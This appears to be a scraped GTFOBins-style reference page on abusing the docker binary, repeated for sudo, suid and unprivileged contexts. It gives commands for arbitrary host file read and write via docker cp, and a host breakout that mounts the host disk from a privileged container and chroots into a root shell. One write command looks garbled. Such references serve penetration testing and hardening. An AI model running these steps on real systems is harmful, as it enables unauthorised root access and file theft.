Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host.
docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
- Evidence
- Upstream reference
- Environment
- Containers
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- file-read
Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host.
docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
- Evidence
- Upstream reference
- Environment
- Containers
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- file-read
Read a file by copying it to a temporary container (`$CONTAINER_ID`) and back to a new location on the host.
docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
- Evidence
- Upstream reference
- Environment
- Containers
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- file-read
Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host.
echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
- Evidence
- Upstream reference
- Environment
- Containers
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- file-write
Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host.
echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
- Evidence
- Upstream reference
- Environment
- Containers
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- file-write
file-write
File WriteLinux
Write a file by copying it to a temporary container (`$CONTAINER_ID`) and back to the target destination on the host.
echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
- Evidence
- Upstream reference
- Environment
- Containers
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- file-write
This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`.
docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
- Evidence
- Upstream reference
- Environment
- Containers
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- sudo
- Native
- shell
This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`.
docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
- Evidence
- Upstream reference
- Environment
- Containers
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- suid
- Native
- shell
This exploits the fact that is run with the `--privileged` option to directly mount a host's disk, e.g., `/dev/sda1`.
docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
- Evidence
- Upstream reference
- Environment
- Containers
- Compatibility
- Linux reference. macOS compatibility has not been checked for this command and execution context.
- Context
- unprivileged
- Native
- shell